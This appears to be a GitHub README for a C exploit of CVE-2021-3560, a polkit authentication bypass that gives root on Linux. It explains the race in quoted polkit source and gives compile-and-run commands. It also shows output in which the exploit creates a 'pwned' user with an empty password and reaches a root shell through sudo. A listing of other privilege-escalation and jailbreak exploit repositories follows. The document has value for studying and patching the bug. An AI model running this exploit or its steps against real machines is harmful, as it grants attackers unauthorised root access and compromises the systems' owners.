a reliable C based exploit for CVE-2021-3560.

Overview

CVE-2021-3560

a reliable C based exploit for CVE-2021-3560.

Summary:

Yestreday i stumbled upon this blog post by Kevin Backhouse (discovered this vulnerability), i tried the bash commands provided in the blogpost and to my surpise it worked on my Kali Linux box!

CVE-2021-3560 is an authentication bypass on polkit, which allows an unprivileged user to call privileged methods using DBus, the PoC exploits this bug to call 2 privileged methods provided by accountsservice (CreateUser and SetPassword), which allows us to create a priviliged user then setting a password to it.

polkit checks if the caller is authorized to call such method, it does so by checking first the user id of the caller, if it is zero then the caller is assumed to be root and the action is allowed without asking for authentication, otherwise it asks for the password of the user.

polkit_system_bus_name_get_creds_sync() function invokes to 2 methods to get the UID and PID of the caller GetConnectionUnixUser and GetConnectionUnixProcessID, the result of this calls is written to the data struct of type AsyncGetBusNameCredsData (this struct is intialized to 0) by the callback function on_retrieved_unix_uid_pid(), and polkit_system_bus_name_get_creds_sync() blocks while waiting for the callback function to set an error or the UID and PID.

name), G_VARIANT_TYPE ("(u)"), G_DBUS_CALL_FLAGS_NONE, -1, cancellable, on_retrieved_unix_uid_pid, // callback funtion &data); // data is passed to the callback function along with the reply from the method g_dbus_connection_call (connection, "org.freedesktop.DBus", /* name */ "/org/freedesktop/DBus", /* object path */ "org.freedesktop.DBus", /* interface name */ "GetConnectionUnixProcessID", /* method */ g_variant_new ("(s)", system_bus_name->name), G_VARIANT_TYPE ("(u)"), G_DBUS_CALL_FLAGS_NONE, -1, cancellable, on_retrieved_unix_uid_pid, // callback funtion &data); // data is passed to the callback function along with the reply from the method while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // block while on_retrieved_unix_uid_pid() is not called yet g_main_context_iteration (tmp_context, TRUE); ">
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid,
				       guint32                       *out_pid,
				       GCancellable                  *cancellable,
				       GError                       **error)
{
  gboolean ret = FALSE;
  AsyncGetBusNameCredsData data = { 0, }; // intialize to 0
  GDBusConnection *connection = NULL;
  GMainContext *tmp_context = NULL;

  connection = g_bus_get_sync (G_BUS_TYPE_SYSTEM, cancellable, error);
  if (connection == NULL)
    goto out;

  data.error = error;

  tmp_context = g_main_context_new ();
  g_main_context_push_thread_default (tmp_context);

  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixUser",      /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, // callback funtion
			  &data); // data is passed to the callback function along with the reply from the method
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixProcessID", /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, // callback funtion
			  &data); // data is passed to the callback function along with the reply from the method

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // block while on_retrieved_unix_uid_pid() is not called yet
    g_main_context_iteration (tmp_context, TRUE);

the callback function on_retrieved_unix_uid_pid() is invoked after each method call to retirive the reply (UID and PID) or set an error, this function calls g_dbus_connection_call_finish() to retrive the reply if an error is occured then it sets data.caught_error to TRUE and returns (data.uid and data.pid are still set 0). otherwise it assign the retrieved value (UID or PID) to data.uid or data.pid (depends on what value is retrieved) then returns.

retrieved_uid) // GetConnectionUnixUser method { data->retrieved_uid = TRUE; data->uid = value; } else { g_assert (!data->retrieved_pid); // GetConnectionUnixProcessID method data->retrieved_pid = TRUE; data->pid = value; } } } ">
static void
on_retrieved_unix_uid_pid (GObject              *src, // connection
			   GAsyncResult         *res, // Async result object
			   gpointer              user_data) // data paramter passed from previous function
{
  AsyncGetBusNameCredsData *data = user_data;
  GVariant *v;

  v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
				     data->caught_error ? NULL : data->error); // finish and get the reply
  if (!v) // error ??
    {
      data->caught_error = TRUE;
    }
  else
    {
      guint32 value;
      g_variant_get (v, "(u)", &value); // unpack the reply, get UINT32 (u)
      g_variant_unref (v);
      if (!data->retrieved_uid) // GetConnectionUnixUser method
	{
	  data->retrieved_uid = TRUE;
	  data->uid = value;
	}
      else
	{
	  g_assert (!data->retrieved_pid); // GetConnectionUnixProcessID method
	  data->retrieved_pid = TRUE;
	  data->pid = value;
	}
    }
}

GetConnectionUnixUser and GetConnectionUnixProcessID methods will return the UID and PID if found (caller process is still connected to the bus), or an error if an error occured (e.g: caller process killed).

once data.uid and data.pid are set or data.caught_error is set the function polkit_system_bus_name_get_creds_sync() will continue and here where the vulnerabilty exists, polkit_system_bus_name_get_creds_sync() does not return an error if data.caught_error is set, instead it set whatever value is in data.uid to out_uid and returns TRUE (even if data.caught_error is set). out_pid is a pointer to a guint32 variable passed to polkit_system_bus_name_get_creds_sync() when called by polkit_system_bus_name_get_user_sync():

static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid, // pointer
				       guint32                       *out_pid, // NULL
				       GCancellable                  *cancellable,
				       GError                       **error)
{

  [snip]
  
  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // wait for the callback function to handle reply
    g_main_context_iteration (tmp_context, TRUE);

  if (out_uid) // TRUE
    *out_uid = data.uid; // set it even if there is an error [!]
  if (out_pid) // FALSE
    *out_pid = data.pid; // set it even if there is an error [!]
  ret = TRUE; // return TRUE even if there is an error [!]
 out:
  if (tmp_context)
    {
      g_main_context_pop_thread_default (tmp_context);
      g_main_context_unref (tmp_context);
    }
  if (connection != NULL)
    g_object_unref (connection);
  return ret;

exploitation:

if the a process A calls a priviliged method using DBus, then polkit will check the UID of the caller, if process A exits imidiatly after it sends the message, then the methods GetConnectionUnixUser and GetConnectionUnixProcessID will return an error because the caller process does not exist anymore. the callback function on_retrieved_unix_uid_pid() will set data.caught_error to TRUE, data.uid and data.pid will remain unchanged (which means they will be both set to 0 as the data struct is intiailized to 0). the function polkit_system_bus_name_get_creds_sync() will continue the execution and sets out_uid to data.uid (0), and return TRUE.

a couple of function will keep returning the fake UID (0), until polkit_backend_session_monitor_get_user_for_subject() returns user_of_subject (built from the fake UID) to check_authorization_sync() function, which checks if the UID is root by calling identity_is_root_user(user_of_subject) which will return TRUE and process A will be authorized.

static PolkitAuthorizationResult *
check_authorization_sync (PolkitBackendAuthority         *authority,
                          PolkitSubject                  *caller,
                          PolkitSubject                  *subject,
                          const gchar                    *action_id,
                          PolkitDetails                  *details,
                          PolkitCheckAuthorizationFlags   flags,
                          PolkitImplicitAuthorization    *out_implicit_authorization,
                          gboolean                        checking_imply,
                          GError                        **error)
{

  
  [snip]

  user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                         subject, NULL,
                                                                         error);
  if (user_of_subject == NULL) // false
      goto out;

  /* special case: uid 0, root, is _always_ authorized for anything */
  if (identity_is_root_user (user_of_subject)) // true
    {
      result = polkit_authorization_result_new (TRUE, FALSE, NULL); // authorize the caller
      goto out;
    }

  [snip]
 

PoC:

I decided to write a PoC using dbus C API, i didn't use sleep() while waiting for the message to be sent to the target service, instead, DBus functions provide a timeout paramter, so by (ab)using this parameter we can force the function to return just after it sends the message, then killing the process, this will allow us to exploit the vulnerability on polkit and bypass the authentication. refer to this blog post for the technical details.

run:

  1. compile the exploit:
[email protected]: gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
  1. run the exploit:
[email protected]: ./exploit
  • Output:
[email protected]:~/CVE-2021-3560-testing$ gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
[email protected]:~/CVE-2021-3560-testing$ ./exploit
[*] creating "pwned-1624301069" user ...
[!] user has been created!
[*] user: pwned-1624301069, uid: 1007
[*] setting an empty password for "pwned-1624301069" user..
[*] an empty password has been set for "pwned-1624301069" user!
[!] run: "sudo su root" as "pwned-1624301069" user to get root
┌──(pwned-1624301069㉿host)-[/home/user/CVE-2021-3560-testing]
└─$ sudo su root

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[email protected]:/home/user/CVE-2021-3560-testing# id
uid=0(root) gid=0(root) groups=0(root)
Issues
  • The exploit didnt work......

    The exploit didnt work......

    MyOutput like this [*] creating "pwned" user ... [!] seems the exploit didnt work, user not created, aborting ...

    It seems the exploit didn't work How can I solve this problem? Thank you

    opened by snoopyyear 4
Owner
hakivvi
i like computers :)
hakivvi
My exploit for CVE-2021-40449, a Windows LPE via a UAF in win32kfull!GreResetDCInternal.

CVE-2021-40449 My exploit for CVE-2021-40449, a Windows LPE via a UAF in win32kfull!GreResetDCInternal. short wu along with the UAF vulnerabilty other

hakivvi 30 Jul 27, 2022
Exploit for CVE-2021-40449

CVE-2021-40449 More info here: https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html Compiling I did a bit of a hack with the MinHook library

null 49 Jul 27, 2022
Exploit for CVE-2021-30807

Write up is here: https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html Exploit for CVE-2021-30807. If you really want to build a jai

Justin Sherman 121 Jul 20, 2022
Exploit for CVE-2021-40449 - Win32k Elevation of Privilege Vulnerability (LPE)

CallbackHell Exploit for CVE-2021-40449 (Win32k - LPE) CallbackHell Description Technical Writeup PoC References Description CVE-2021-40449 is a use-a

Oliver Lyak 415 Jul 28, 2022
Gex is an iOS 14.7 jailbreak using CVE-2021-30807 IOMFB exploit

Gex is an iOS 14.7 jailbreak using CVE-2021-30807 IOMFB exploit rest of this readme is from jsherman212's exploit repo and probably stuff that is abou

Connor 5 Apr 19, 2022
CVE-2021-4034 One day for the polkit privilege escalation exploit

CVE-2021-4034 One day for the polkit privilege escalation exploit Just execute make, ./cve-2021-4034 and enjoy your root shell. The original advisory

Davide Berardi 1.6k Aug 6, 2022
Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation

PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on Linux distributions based on U

Oliver Lyak 573 Jul 29, 2022
This repository contains an exploit of CVE-2021-4034, a local privilege escalation in pkexec

pwnkit (CVE-2021-4034) Privilege Escalation exploit sample This repository contains an exploit of CVE-2021-4034, a local privilege escalation in pkexe

Peter Gottesman 26 Jul 19, 2022
An exploit for CVE-2021-4034 aka Pwnkit: Local Privilege Escalation in polkit's pkexec

CVE-2021-4034 Exploit Usage $ git clone https://github.com/whokilleddb/CVE-2021-4034 $ cd CVE-2021-4034 $ make [!] CVE-2021-4034 Exploit By whokilledd

whokilleddb 3 Jun 30, 2022
desc_race exploit for iOS 15.0 - 15.1.1 (with stable kernel r/w primitives) (CVE-2021-30955)

desc_race "desc_race" (CVE-2021-30955) exploit for iOS 15.0 - 15.1.1 (with stable kernel r/w primitives) Tested to work on iPhone13,2 running iOS 15.1

Dylan Elmbark Sandström 7 Jul 15, 2022
Some hypervisor research notes. There is also a useful exploit template that you can use to verify / falsify any assumptions you may make while auditing code, and for exploit development.

Introduction Over the past few weeks, I've been doing some hypervisor research here and there, with most of my focus being on PCI device emulation cod

Faith 123 Jun 30, 2022
Demo exploit code for CVE-2020-27904, a tfp0 bug.

xattr-oob-swap CVE-2020-27904: a tfp0 bug for macOS 10.15.x and below. Demo exploit code for my talk at BlackHat ASIA 2021. The vulnerability has been

null 66 Jun 14, 2022
Make CVE-2020-0668 exploit work for version < win10 v1903 and version >= win10 v1903

CVE-2020-0668 Made CVE-2020-0668 exploit work for version < win10 v1903 and version >= win10 v1903 Diaghub Exploit (< v1903) powershell exploit works

null 13 Dec 15, 2021
A personal collection of Windows CVE I have turned in to exploit source, as well as a collection of payloads I've written to be used in conjunction with these exploits.

This repository contains a personal collection of Windows CVE I have turned in to exploit source, as well as a collection of payloads I've written to

null 75 Jul 2, 2022
Exploit for Dirty-Pipe (CVE-2022-0847)

Dirty-Pipe (PoC) What is it? Dirty-Pipe is a vulnerability which allows us to overwrite files even if they have read-only permissions. This vulnerabil

Nekox 6 Apr 8, 2022
PoC for CVE-2021-28476 a guest-to-host "Hyper-V Remote Code Execution Vulnerability" in vmswitch.sys.

CVE-2021-28476: a guest-to-host "Microsoft Hyper-V Remote Code Execution Vulnerability" in vmswitch.sys. This is a proof of concept for CVE-2021-28476

Axel Souchet 205 Jul 27, 2022
Local Privilege Escalation Edition for CVE-2021-1675

Local Privilege Escalation Edition of CVE-2021-1675/CVE-2021-34527 Local Privilege Escalation implementation of the CVE-2021-1675/CVE-2021-34527 (a.k.

Halil Dalabasmaz 330 Jul 27, 2022
PoC (DoS) for CVE-2021-40449 - Win32k Elevation of Privilege Vulnerability (LPE)

CallbackHell DoS PoC for CVE-2021-40449 (Win32k - LPE) CallbackHell Description Technical Writeup PoC References Description CVE-2021-40449 is a use-a

Oliver Lyak 415 Jul 28, 2022